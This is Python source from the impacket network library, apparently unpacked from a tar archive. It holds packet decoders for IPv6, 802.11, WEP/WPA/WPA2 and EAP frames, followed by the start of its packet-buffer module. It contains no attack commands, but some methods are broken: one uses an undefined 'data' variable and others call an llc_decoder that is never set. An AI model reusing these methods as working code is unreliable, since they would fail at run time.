end_pos = ip6_packet.get_payload_length() + start_pos
contained_protocol = ip6_packet.get_next_header()
multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol)
child_packet = multi_protocol_decoder.decode(buffer[start_pos:end_pos])
ip6_packet.contains(child_packet)
return ip6_packet
class HopByHopDecoder(Decoder):
def __init__(self):
pass
def decode(self, buffer):
hop_by_hop = IP6_Extension_Headers.Hop_By_Hop(buffer)
self.set_decoded_protocol(hop_by_hop)
start_pos = hop_by_hop.get_header_size()
contained_protocol = hop_by_hop.get_next_header()
multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol)
child_packet = multi_protocol_decoder.decode(buffer[start_pos:])
hop_by_hop.contains(child_packet)
return hop_by_hop
class DestinationOptionsDecoder(Decoder):
def __init__(self):
pass
def decode(self, buffer):
destination_options = IP6_Extension_Headers.Destination_Options(buffer)
self.set_decoded_protocol(destination_options)
start_pos = destination_options.get_header_size()
contained_protocol = destination_options.get_next_header()
multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol)
child_packet = multi_protocol_decoder.decode(buffer[start_pos:])
destination_options.contains(child_packet)
return destination_options
class RoutingOptionsDecoder(Decoder):
def __init__(self):
pass
def decode(self, buffer):
routing_options = IP6_Extension_Headers.Routing_Options(buffer)
self.set_decoded_protocol(routing_options)
start_pos = routing_options.get_header_size()
contained_protocol = routing_options.get_next_header()
multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol)
child_packet = multi_protocol_decoder.decode(buffer[start_pos:])
routing_options.contains(child_packet)
return routing_options
class ICMP6Decoder(Decoder):
def __init__(self):
pass
def decode(self, buffer):
icmp6_packet = ICMP6.ICMP6(buffer)
self.set_decoded_protocol(icmp6_packet)
start_pos = icmp6_packet.get_header_size()
self.data_decoder = DataDecoder()
child_packet = self.data_decoder.decode(buffer[start_pos:])
icmp6_packet.contains(child_packet)
return icmp6_packet
class ARPDecoder(Decoder):
def __init__(self):
pass
def decode(self, aBuffer):
arp = ImpactPacket.ARP(aBuffer)
self.set_decoded_protocol( arp )
off = arp.get_header_size()
self.data_decoder = DataDecoder()
packet = self.data_decoder.decode(aBuffer[off:])
arp.contains(packet)
return arp
class UDPDecoder(Decoder):
def __init__(self):
pass
def decode(self, aBuffer):
u = ImpactPacket.UDP(aBuffer)
self.set_decoded_protocol( u )
off = u.get_header_size()
self.data_decoder = DataDecoder()
packet = self.data_decoder.decode(aBuffer[off:])
u.contains(packet)
return u
class TCPDecoder(Decoder):
def __init__(self):
pass
def decode(self, aBuffer):
t = ImpactPacket.TCP(aBuffer)
self.set_decoded_protocol( t )
off = t.get_header_size()
self.data_decoder = DataDecoder()
packet = self.data_decoder.decode(aBuffer[off:])
t.contains(packet)
return t
class IPDecoderForICMP(Decoder):
"""This class was added to parse the IP header of ICMP unreachables packets
If you use the "standard" IPDecoder, it might crash (see bug #4870) ImpactPacket.py
because the TCP header inside the IP header is incomplete"""
def __init__(self):
pass
def decode(self, aBuffer):
i = ImpactPacket.IP(aBuffer)
self.set_decoded_protocol( i )
off = i.get_header_size()
if i.get_ip_p() == ImpactPacket.UDP.protocol:
self.udp_decoder = UDPDecoder()
packet = self.udp_decoder.decode(aBuffer[off:])
else:
self.data_decoder = DataDecoder()
packet = self.data_decoder.decode(aBuffer[off:])
i.contains(packet)
return i
class ICMPDecoder(Decoder):
def __init__(self):
pass
def decode(self, aBuffer):
ic = ImpactPacket.ICMP(aBuffer)
self.set_decoded_protocol( ic )
off = ic.get_header_size()
if ic.get_icmp_type() == ImpactPacket.ICMP.ICMP_UNREACH:
self.ip_decoder = IPDecoderForICMP()
packet = self.ip_decoder.decode(aBuffer[off:])
else:
self.data_decoder = DataDecoder()
packet = self.data_decoder.decode(aBuffer[off:])
ic.contains(packet)
return ic
class DataDecoder(Decoder):
def decode(self, aBuffer):
d = ImpactPacket.Data(aBuffer)
self.set_decoded_protocol( d )
return d
class BaseDot11Decoder(Decoder):
def __init__(self, key_manager=None):
self.set_key_manager(key_manager)
def set_key_manager(self, key_manager):
self.key_manager = key_manager
def find_key(self, bssid):
try:
key = self.key_manager.get_key(bssid)
except:
return False
return key
class RadioTapDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
rt = dot11.RadioTap(aBuffer)
self.set_decoded_protocol( rt )
self.do11_decoder = Dot11Decoder()
self.do11_decoder.set_key_manager(self.key_manager)
flags=rt.get_flags()
if flags is not None:
fcs=flags&dot11.RadioTap.RTF_FLAGS.PROPERTY_FCS_AT_END
self.do11_decoder.FCS_at_end(fcs)
packet = self.do11_decoder.decode(rt.get_body_as_string())
rt.contains(packet)
return rt
class Dot11Decoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
self.__FCS_at_end = True
def FCS_at_end(self, fcs_at_end=True):
self.__FCS_at_end=not not fcs_at_end
def decode(self, aBuffer):
d = dot11.Dot11(aBuffer, self.__FCS_at_end)
self.set_decoded_protocol( d )
type = d.get_type()
if type == dot11.Dot11Types.DOT11_TYPE_CONTROL:
dot11_control_decoder = Dot11ControlDecoder()
packet = dot11_control_decoder.decode(d.body_string)
elif type == dot11.Dot11Types.DOT11_TYPE_DATA:
dot11_data_decoder = Dot11DataDecoder(self.key_manager)
dot11_data_decoder.set_dot11_hdr(d)
packet = dot11_data_decoder.decode(d.body_string)
elif type == dot11.Dot11Types.DOT11_TYPE_MANAGEMENT:
dot11_management_decoder = Dot11ManagementDecoder()
dot11_management_decoder.set_subtype(d.get_subtype())
packet = dot11_management_decoder.decode(d.body_string)
else:
data_decoder = DataDecoder()
packet = data_decoder.decode(d.body_string)
d.contains(packet)
return d
class Dot11ControlDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
self.__FCS_at_end = True
def FCS_at_end(self, fcs_at_end=True):
self.__FCS_at_end=not not fcs_at_end
def decode(self, aBuffer):
d = dot11.Dot11(aBuffer, self.__FCS_at_end)
self.set_decoded_protocol(d)
self.subtype = d.get_subtype()
if self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND:
self.ctrl_cts_decoder = Dot11ControlFrameCTSDecoder()
packet = self.ctrl_cts_decoder.decode(d.body_string)
elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT:
self.ctrl_ack_decoder = Dot11ControlFrameACKDecoder()
packet = self.ctrl_ack_decoder.decode(d.body_string)
elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND:
self.ctrl_rts_decoder = Dot11ControlFrameRTSDecoder()
packet = self.ctrl_rts_decoder.decode(d.body_string)
elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL:
self.ctrl_pspoll_decoder = Dot11ControlFramePSPollDecoder()
packet = self.ctrl_pspoll_decoder.decode(d.body_string)
elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END:
self.ctrl_cfend_decoder = Dot11ControlFrameCFEndDecoder()
packet = self.ctrl_cfend_decoder.decode(d.body_string)
elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK:
self.ctrl_cfendcfack_decoder = Dot11ControlFrameCFEndCFACKDecoder()
packet = self.ctrl_cfendcfack_decoder.decode(d.body_string)
else:
data_decoder = DataDecoder()
packet = data_decoder.decode(d.body_string)
d.contains(packet)
return d
class Dot11ControlFrameCTSDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ControlFrameCTS(aBuffer)
self.set_decoded_protocol(p)
return p
class Dot11ControlFrameACKDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ControlFrameACK(aBuffer)
self.set_decoded_protocol(p)
return p
class Dot11ControlFrameRTSDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ControlFrameRTS(aBuffer)
self.set_decoded_protocol(p)
return p
class Dot11ControlFramePSPollDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ControlFramePSPoll(aBuffer)
self.set_decoded_protocol(p)
return p
class Dot11ControlFrameCFEndDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ControlFrameCFEnd(aBuffer)
self.set_decoded_protocol(p)
return p
class Dot11ControlFrameCFEndCFACKDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ControlFrameCFEndCFACK(aBuffer)
self.set_decoded_protocol(p)
return p
class Dot11DataDecoder(BaseDot11Decoder):
def __init__(self, key_manager):
BaseDot11Decoder.__init__(self, key_manager)
def set_dot11_hdr(self, dot11_obj):
self.dot11 = dot11_obj
def decode(self, aBuffer):
if self.dot11.get_fromDS() and self.dot11.get_toDS():
if self.dot11.is_QoS_frame():
p = dot11.Dot11DataAddr4QoSFrame(aBuffer)
else:
p = dot11.Dot11DataAddr4Frame(aBuffer)
elif self.dot11.is_QoS_frame():
p = dot11.Dot11DataQoSFrame(aBuffer)
else:
p = dot11.Dot11DataFrame(aBuffer)
self.set_decoded_protocol( p )
if not self.dot11.get_protectedFrame():
self.llc_decoder = LLCDecoder()
packet = self.llc_decoder.decode(p.body_string)
else:
if not self.dot11.get_fromDS() and self.dot11.get_toDS():
bssid = p.get_address1()
elif self.dot11.get_fromDS() and not self.dot11.get_toDS():
bssid = p.get_address2()
elif not self.dot11.get_fromDS() and not self.dot11.get_toDS():
bssid = p.get_address3()
else:
# WDS, this is the RA
bssid = p.get_address1()
wep_decoder = Dot11WEPDecoder(self.key_manager)
wep_decoder.set_bssid(bssid)
packet = wep_decoder.decode(p.body_string)
if packet is None:
wpa_decoder = Dot11WPADecoder()
packet = wpa_decoder.decode(p.body_string)
if packet is None:
wpa2_decoder = Dot11WPA2Decoder()
packet = wpa2_decoder.decode(p.body_string)
if packet is None:
data_decoder = DataDecoder()
packet = data_decoder.decode(p.body_string)
p.contains(packet)
return p
class Dot11WEPDecoder(BaseDot11Decoder):
def __init__(self, key_manager):
BaseDot11Decoder.__init__(self, key_manager)
self.bssid = None
def set_bssid(self, bssid):
self.bssid = bssid
def decode(self, aBuffer):
wep = dot11.Dot11WEP(aBuffer)
self.set_decoded_protocol( wep )
if wep.is_WEP() is False:
return None
key = self.find_key(self.bssid)
if key:
decoded_string=wep.get_decrypted_data(key)
wep_data = Dot11WEPDataDecoder()
packet = wep_data.decode(decoded_string)
else:
data_decoder = DataDecoder()
packet = data_decoder.decode(wep.body_string)
wep.contains(packet)
return wep
def decrypt_data(self, key_string):
'Return \'WEP Data\' decrypted'
# Needs to be at least 8 bytes of payload
if len(self.body_string)<8:
return self.body_string
# initialize the first bytes of the key from the IV
# and copy rest of the WEP key (the secret part)
key=self.get_iv()+key_string
rc4=RC4(key)
out=rc4.decrypt(data)
dwd=Dot11WEPData(out)
if False: # is ICV correct
return dwd
else:
return self.body_string
class Dot11WEPDataDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
wep_data = dot11.Dot11WEPData(aBuffer)
if not wep_data.check_icv():
# TODO: Do something when the icv is not correct
pass
self.set_decoded_protocol( wep_data )
llc_decoder = LLCDecoder()
packet = llc_decoder.decode(wep_data.body_string)
wep_data.contains(packet)
return wep_data
class Dot11WPADecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer, key=None):
wpa = dot11.Dot11WPA(aBuffer)
self.set_decoded_protocol( wpa )
if wpa.is_WPA() is False:
return None
if key:
decoded_string=wpa.get_decrypted_data()
wpa_data = Dot11DataWPADataDecoder()
packet = wpa_data.decode(decoded_string)
else:
data_decoder = DataDecoder()
packet = data_decoder.decode(wpa.body_string)
wpa.contains(packet)
return wpa
class Dot11WPADataDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
wpa_data = dot11.Dot11WPAData(aBuffer)
self.set_decoded_protocol( wpa_data )
llc_decoder = LLCDecoder()
packet = self.llc_decoder.decode(wpa_data.body_string)
wpa_data.contains(packet)
return wpa_data
class Dot11WPA2Decoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer, key=None):
wpa2 = dot11.Dot11WPA2(aBuffer)
self.set_decoded_protocol( wpa2 )
if wpa2.is_WPA2() is False:
return None
if key:
decoded_string=wpa2.get_decrypted_data()
wpa2_data = Dot11WPA2DataDecoder()
packet = wpa2_data.decode(decoded_string)
else:
data_decoder = DataDecoder()
packet = data_decoder.decode(wpa2.body_string)
wpa2.contains(packet)
return wpa2
class Dot11WPA2DataDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
wpa2_data = dot11.Dot11WPA2Data(aBuffer)
self.set_decoded_protocol( wpa2_data )
llc_decoder = LLCDecoder()
packet = self.llc_decoder.decode(wpa2_data.body_string)
wpa2_data.contains(packet)
return wpa2_data
class LLCDecoder(Decoder):
def __init__(self):
pass
def decode(self, aBuffer):
d = dot11.LLC(aBuffer)
self.set_decoded_protocol( d )
if d.get_DSAP()==dot11.SAPTypes.SNAP:
if d.get_SSAP()==dot11.SAPTypes.SNAP:
if d.get_control()==dot11.LLC.DLC_UNNUMBERED_FRAMES:
snap_decoder = SNAPDecoder()
packet = snap_decoder.decode(d.body_string)
d.contains(packet)
return d
# Only SNAP is implemented
data_decoder = DataDecoder()
packet = data_decoder.decode(d.body_string)
d.contains(packet)
return d
class SNAPDecoder(Decoder):
def __init__(self):
pass
def decode(self, aBuffer):
s = dot11.SNAP(aBuffer)
self.set_decoded_protocol( s )
if s.get_OUI()==CDP.OUI and s.get_protoID()==CDP.Type:
dec = CDPDecoder()
packet = dec.decode(s.body_string)
elif s.get_OUI()!=0x000000:
# We don't know how to handle other than OUI=0x000000 (EtherType)
self.data_decoder = DataDecoder()
packet = self.data_decoder.decode(s.body_string)
elif s.get_protoID() == ImpactPacket.IP.ethertype:
self.ip_decoder = IPDecoder()
packet = self.ip_decoder.decode(s.body_string)
elif s.get_protoID() == ImpactPacket.ARP.ethertype:
self.arp_decoder = ARPDecoder()
packet = self.arp_decoder.decode(s.body_string)
elif s.get_protoID() == eap.DOT1X_AUTHENTICATION:
self.eapol_decoder = EAPOLDecoder()
packet = self.eapol_decoder.decode(s.body_string)
else:
self.data_decoder = DataDecoder()
packet = self.data_decoder.decode(s.body_string)
s.contains(packet)
return s
class CDPDecoder(Decoder):
def __init__(self):
pass
def decode(self, aBuffer):
s = CDP(aBuffer)
self.set_decoded_protocol( s )
return s
class Dot11ManagementDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
self.subtype = None
def set_subtype(self, subtype):
self.subtype=subtype
def decode(self, aBuffer):
p = dot11.Dot11ManagementFrame(aBuffer)
self.set_decoded_protocol( p )
if self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_BEACON:
self.mgt_beacon_decoder = Dot11ManagementBeaconDecoder()
packet = self.mgt_beacon_decoder.decode(p.body_string)
elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST:
self.mgt_probe_request_decoder = Dot11ManagementProbeRequestDecoder()
packet = self.mgt_probe_request_decoder.decode(p.body_string)
elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE:
self.mgt_probe_response_decoder = Dot11ManagementProbeResponseDecoder()
packet = self.mgt_probe_response_decoder.decode(p.body_string)
elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION:
self.mgt_deauthentication_decoder = Dot11ManagementDeauthenticationDecoder()
packet = self.mgt_deauthentication_decoder.decode(p.body_string)
elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION:
self.mgt_Authentication_decoder = Dot11ManagementAuthenticationDecoder()
packet = self.mgt_Authentication_decoder.decode(p.body_string)
elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION:
self.mgt_disassociation_decoder = Dot11ManagementDisassociationDecoder()
packet = self.mgt_disassociation_decoder.decode(p.body_string)
elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST:
self.mgt_association_request_decoder = Dot11ManagementAssociationRequestDecoder()
packet = self.mgt_association_request_decoder.decode(p.body_string)
elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE:
self.mgt_association_response_decoder = Dot11ManagementAssociationResponseDecoder()
packet = self.mgt_association_response_decoder.decode(p.body_string)
elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST:
self.mgt_reassociation_request_decoder = Dot11ManagementReassociationRequestDecoder()
packet = self.mgt_reassociation_request_decoder.decode(p.body_string)
elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE:
self.mgt_reassociation_response_decoder = Dot11ManagementReassociationResponseDecoder()
packet = self.mgt_reassociation_response_decoder.decode(p.body_string)
else:
data_decoder = DataDecoder()
packet = data_decoder.decode(p.body_string)
p.contains(packet)
return p
class Dot11ManagementBeaconDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ManagementBeacon(aBuffer)
self.set_decoded_protocol( p )
return p
class Dot11ManagementProbeRequestDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ManagementProbeRequest(aBuffer)
self.set_decoded_protocol( p )
return p
class Dot11ManagementProbeResponseDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ManagementProbeResponse(aBuffer)
self.set_decoded_protocol( p )
return p
class Dot11ManagementDeauthenticationDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ManagementDeauthentication(aBuffer)
self.set_decoded_protocol( p )
return p
class Dot11ManagementAuthenticationDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ManagementAuthentication(aBuffer)
self.set_decoded_protocol(p)
return p
class Dot11ManagementDisassociationDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ManagementDisassociation(aBuffer)
self.set_decoded_protocol(p)
return p
class Dot11ManagementAssociationRequestDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ManagementAssociationRequest(aBuffer)
self.set_decoded_protocol(p)
return p
class Dot11ManagementAssociationResponseDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ManagementAssociationResponse(aBuffer)
self.set_decoded_protocol(p)
return p
class Dot11ManagementReassociationRequestDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ManagementReassociationRequest(aBuffer)
self.set_decoded_protocol(p)
return p
class Dot11ManagementReassociationResponseDecoder(BaseDot11Decoder):
def __init__(self):
BaseDot11Decoder.__init__(self)
def decode(self, aBuffer):
p = dot11.Dot11ManagementReassociationResponse(aBuffer)
self.set_decoded_protocol(p)
return p
class BaseDecoder(Decoder):
def decode(self, buff):
packet = self.klass(buff)
self.set_decoded_protocol(packet)
cd = self.child_decoders.get(self.child_key(packet), DataDecoder())
packet.contains(cd.decode(packet.get_body_as_string()))
return packet
class SimpleConfigDecoder(BaseDecoder):
child_decoders = {}
klass = wps.SimpleConfig
child_key = lambda s,p: None
def decode(self, buff):
sc = BaseDecoder.decode(self, buff)
ary = array.array('B', sc.child().get_packet())
sc.unlink_child()
tlv = wps.SimpleConfig.build_tlv_container()
tlv.from_ary(ary)
sc.contains(tlv)
return sc
class EAPExpandedDecoder(BaseDecoder):
child_decoders = {
(eap.EAPExpanded.WFA_SMI, eap.EAPExpanded.SIMPLE_CONFIG): SimpleConfigDecoder(),
}
klass = eap.EAPExpanded
child_key = lambda s,p: (p.get_vendor_id(), p.get_vendor_type())
class EAPRDecoder(BaseDecoder):
child_decoders = {
eap.EAPR.EXPANDED:EAPExpandedDecoder()
}
klass = eap.EAPR
child_key = lambda s, p: p.get_type()
class EAPDecoder(BaseDecoder):
child_decoders = {
eap.EAP.REQUEST: EAPRDecoder(),
eap.EAP.RESPONSE: EAPRDecoder(),
}
klass = eap.EAP
child_key = lambda s, p: p.get_code()
class EAPOLDecoder(BaseDecoder):
child_decoders = {
eap.EAPOL.EAP_PACKET: EAPDecoder()
}
klass = eap.EAPOL
child_key = lambda s, p: p.get_packet_type()
impacket-0.9.15/impacket/ImpactPacket.py 0000600 0000765 0000000 00000201262 12734531507 020170 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Network packet codecs basic building blocks.
# Low-level packet codecs for various Internet protocols.
#
# Author:
# Javier Burroni (javier)
# Bruce Leidl (brl)
# Javier Kohen (jkohen)
import array
import struct
import socket
import string
import sys
from binascii import hexlify
"""Classes to build network packets programmatically.
Each protocol layer is represented by an object, and these objects are
hierarchically structured to form a packet. This list is traversable
in both directions: from parent to child and vice versa.
All objects can be turned back into a raw buffer ready to be sent over
the wire (see method get_packet).
"""
class ImpactPacketException(Exception):
def __init__(self, value):
self.value = value
def __str__(self):
return `self.value`
class PacketBuffer(object):
"""Implement the basic operations utilized to operate on a
packet's raw buffer. All the packet classes derive from this one.
The byte, word, long and ip_address getters and setters accept
negative indexes, having these the a similar effect as in a
regular Python sequence slice.
"""
def __init__(self, length = None):
"If 'length' is specified the buffer is created with an initial size"
if length:
self.__bytes = array.array('B', '\0' * length)
else:
self.__bytes = array.array('B')
def set_bytes_from_string(self, data):
"Sets the value of the packet buffer from the string 'data'"
self.__bytes = array.array('B', data)
def get_buffer_as_string(self):
"Returns the packet buffer as a string object"
return self.__bytes.tostring()
def get_bytes(self):
"Returns the packet buffer as an array"
return self.__bytes
def set_bytes(self, bytes):
"Set the packet buffer from an array"
# Make a copy to be safe
self.__bytes = array.array('B', bytes.tolist())
def set_byte(self, index, value):
"Set byte at 'index' to 'value'"
index = self.__validate_index(index, 1)
self.__bytes[index] = value
def get_byte(self, index):
"Return byte at 'index'"
index = self.__validate_index(index, 1)
return self.__bytes[index]
def set_word(self, index, value, order = '!'):
"Set 2-byte word at 'index' to 'value'. See struct module's documentation to understand the meaning of 'order'."
index = self.__validate_index(index, 2)
ary = array.array("B", struct.pack(order + 'H', value))
if -2 == index:
self.__bytes[index:] = ary
else:
self.__bytes[index:index+2] = ary
def get_word(self, index, order = '!'):
"Return 2-byte word at 'index'. See struct module's documentation to understand the meaning of 'order'."
index = self.__validate_index(index, 2)
if -2 == index:
bytes = self.__bytes[index:]
else:
bytes = self.__bytes[index:index+2]
(value,) = struct.unpack(order + 'H', bytes.tostring())
return value
def set_long(self, index, value, order = '!'):
"Set 4-byte 'value' at 'index'. See struct module's documentation to understand the meaning of 'order'."
index = self.__validate_index(index, 4)
ary = array.array("B", struct.pack(order + 'L', value))
if -4 == index:
self.__bytes[index:] = ary
else:
self.__bytes[index:index+4] = ary
def get_long(self, index, order = '!'):
"Return 4-byte value at 'index'. See struct module's documentation to understand the meaning of 'order'."
index = self.__validate_index(index, 4)
if -4 == index:
bytes = self.__bytes[index:]
else:
bytes = self.__bytes[index:index+4]
(value,) = struct.unpack(order + 'L', bytes.tostring())
return value
def set_long_long(self, index, value, order = '!'):
"Set 8-byte 'value' at 'index'. See struct module's documentation to understand the meaning of 'order'."
index = self.__validate_index(index, 8)
ary = array.array("B", struct.pack(order + 'Q', value))
if -8 == index:
self.__bytes[index:] = ary
else:
self.__bytes[index:index+8] = ary
def get_long_long(self, index, order = '!'):
"Return 8-byte value at 'index'. See struct module's documentation to understand the meaning of 'order'."
index = self.__validate_index(index, 8)
if -8 == index:
bytes = self.__bytes[index:]
else:
bytes = self.__bytes[index:index+8]
(value,) = struct.unpack(order + 'Q', bytes.tostring())
return value
def get_ip_address(self, index):
"Return 4-byte value at 'index' as an IP string"
index = self.__validate_index(index, 4)
if -4 == index:
bytes = self.__bytes[index:]
else:
bytes = self.__bytes[index:index+4]
return socket.inet_ntoa(bytes.tostring())
def set_ip_address(self, index, ip_string):
"Set 4-byte value at 'index' from 'ip_string'"
index = self.__validate_index(index, 4)
raw = socket.inet_aton(ip_string)
(b1,b2,b3,b4) = struct.unpack("BBBB", raw)
self.set_byte(index, b1)
self.set_byte(index + 1, b2)
self.set_byte(index + 2, b3)
self.set_byte(index + 3, b4)
def set_checksum_from_data(self, index, data):
"Set 16-bit checksum at 'index' by calculating checksum of 'data'"
self.set_word(index, self.compute_checksum(data))
def compute_checksum(self, anArray):
"Return the one's complement of the one's complement sum of all the 16-bit words in 'anArray'"
nleft = len(anArray)
sum = 0
pos = 0
while nleft > 1:
sum = anArray[pos] * 256 + (anArray[pos + 1] + sum)
pos = pos + 2
nleft = nleft - 2
if nleft == 1:
sum = sum + anArray[pos] * 256
return self.normalize_checksum(sum)
def normalize_checksum(self, aValue):
sum = aValue
sum = (sum >> 16) + (sum & 0xFFFF)
sum += (sum >> 16)
sum = (~sum & 0xFFFF)
return sum
def __validate_index(self, index, size):
"""This method performs two tasks: to allocate enough space to
fit the elements at positions index through index+size, and to
adjust negative indexes to their absolute equivalent.
"""
orig_index = index
curlen = len(self.__bytes)
if index < 0:
index = curlen + index
diff = index + size - curlen
if diff > 0:
self.__bytes.fromstring('\0' * diff)
if orig_index < 0:
orig_index -= diff
return orig_index
class ProtocolLayer():
"Protocol Layer Manager for insertion and removal of protocol layers."
__child = None
__parent = None
def contains(self, aHeader):
"Set 'aHeader' as the child of this protocol layer"
self.__child = aHeader
aHeader.set_parent(self)
def set_parent(self, my_parent):
"Set the header 'my_parent' as the parent of this protocol layer"
self.__parent = my_parent
def child(self):
"Return the child of this protocol layer"
return self.__child
def parent(self):
"Return the parent of this protocol layer"
return self.__parent
def unlink_child(self):
"Break the hierarchy parent/child child/parent"
if self.__child:
self.__child.set_parent(None)
self.__child = None
class ProtocolPacket(ProtocolLayer):
__HEADER_SIZE = 0
__BODY_SIZE = 0
__TAIL_SIZE = 0
__header = None
__body = None
__tail = None
def __init__(self, header_size, tail_size):
self.__HEADER_SIZE = header_size
self.__TAIL_SIZE = tail_size
self.__header=PacketBuffer(self.__HEADER_SIZE)
self.__body=PacketBuffer()
self.__tail=PacketBuffer(self.__TAIL_SIZE)
def __update_body_from_child(self):
# Update child raw packet in my body
if self.child():
body=self.child().get_packet()
self.__BODY_SIZE=len(body)
self.__body.set_bytes_from_string(body)
def __get_header(self):
return self.__header
header = property(__get_header)
def __get_body(self):
self.__update_body_from_child()
return self.__body
body = property(__get_body)
def __get_tail(self):
return self.__tail
tail = property(__get_tail)
def get_header_size(self):
"Return frame header size"
return self.__HEADER_SIZE
def get_tail_size(self):
"Return frame tail size"
return self.__TAIL_SIZE
def get_body_size(self):
"Return frame body size"
self.__update_body_from_child()
return self.__BODY_SIZE
def get_size(self):
"Return frame total size"
return self.get_header_size()+self.get_body_size()+self.get_tail_size()
def load_header(self, aBuffer):
self.__HEADER_SIZE=len(aBuffer)
self.__header.set_bytes_from_string(aBuffer)
def load_body(self, aBuffer):
"Load the packet body from string. "\
"WARNING: Using this function will break the hierarchy of preceding protocol layer"
self.unlink_child()
self.__BODY_SIZE=len(aBuffer)
self.__body.set_bytes_from_string(aBuffer)
def load_tail(self, aBuffer):
self.__TAIL_SIZE=len(aBuffer)
self.__tail.set_bytes_from_string(aBuffer)
def __extract_header(self, aBuffer):
self.load_header(aBuffer[:self.__HEADER_SIZE])
def __extract_body(self, aBuffer):
if self.__TAIL_SIZE<=0:
end=None
else:
end=-self.__TAIL_SIZE
self.__BODY_SIZE=len(aBuffer[self.__HEADER_SIZE:end])
self.__body.set_bytes_from_string(aBuffer[self.__HEADER_SIZE:end])
def __extract_tail(self, aBuffer):
if self.__TAIL_SIZE<=0:
# leave the array empty
return
else:
start=-self.__TAIL_SIZE
self.__tail.set_bytes_from_string(aBuffer[start:])
def load_packet(self, aBuffer):
"Load the whole packet from a string" \
"WARNING: Using this function will break the hierarchy of preceding protocol layer"
self.unlink_child()
self.__extract_header(aBuffer)
self.__extract_body(aBuffer)
self.__extract_tail(aBuffer)
def get_header_as_string(self):
return self.__header.get_buffer_as_string()
def get_body_as_string(self):
self.__update_body_from_child()
return self.__body.get_buffer_as_string()
body_string = property(get_body_as_string)
def get_tail_as_string(self):
return self.__tail.get_buffer_as_string()
tail_string = property(get_tail_as_string)
def get_packet(self):
self.__update_body_from_child()
ret = ''
header = self.get_header_as_string()
if header:
ret += header
body = self.get_body_as_string()
if body:
ret += body
tail = self.get_tail_as_string()
if tail:
ret += tail
return ret
class Header(PacketBuffer,ProtocolLayer):
"This is the base class from which all protocol definitions extend."
